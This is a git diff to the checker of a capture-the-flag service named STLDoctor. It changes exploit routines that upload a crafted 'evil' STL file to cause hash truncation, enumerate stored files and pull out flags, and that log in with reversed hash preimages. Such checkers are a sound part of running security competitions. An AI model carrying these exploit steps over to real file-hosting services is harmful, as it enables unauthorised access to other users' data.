diff options
Diffstat (limited to 'checker/src/checker.py')
| -rw-r--r-- | checker/src/checker.py | 20 |
1 files changed, 7 insertions, 13 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py index a7bc8f4..780db31 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -394,14 +394,10 @@ class STLDoctorChecker(BaseChecker): if self.variant_id == 0: name = self.fakeid() - # Upload evil file for hash truncation + # Upload evil file for parse via search for hash truncation conn = self.openconn() resp,mid = self.putfile(conn, name, name, stlfile=evil_file) self.debug(f"Uploaded evil file with id {mid}") - self.closeconn(conn) - - # Parse evil file - conn = self.openconn() resp = self.getfile(conn, name, download=False) conn.write("search last\n") filelist = [l.strip().split(b" : ")[1] for l in conn.recvuntil("? ").split(b"\n") if b" : " in l] @@ -413,14 +409,8 @@ class STLDoctorChecker(BaseChecker): self.debug("Targets:\n" + "\n".join([' - ' + l.decode('latin1') for l in filelist])) for i, fhash in enumerate(filelist): self.debug(f"Retrieving file {fhash} at index {i}") - conn.write(f"{i}\ny\n") + conn.write(f"{i}\nn\n") resp = conn.recvuntil("==================") - resp += conn.recvuntil(b"Here you go.. (") - try: - size = int(conn.recvuntil(b"B)\n")[:-3]) - except: - raise BrokenServiceException("Download size is not a valid integer") - resp += conn.recvn(size) resp += conn.recvuntil("? ") found = self.search_flag_bytes(resp) if found is not None or i == len(filelist) - 1: @@ -462,7 +452,11 @@ class STLDoctorChecker(BaseChecker): resp = conn.recvuntil(self.prompt) if b"Welcome back" not in resp: - raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}") + self.closeconn(conn) + continue + # NOTE: dont raise an exception, could be that user dir was cleaned up just + # before we logged in, not necessarily because of invalid prehash + # raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}") conn.write("list\n") resp = conn.recvuntil(self.prompt) |
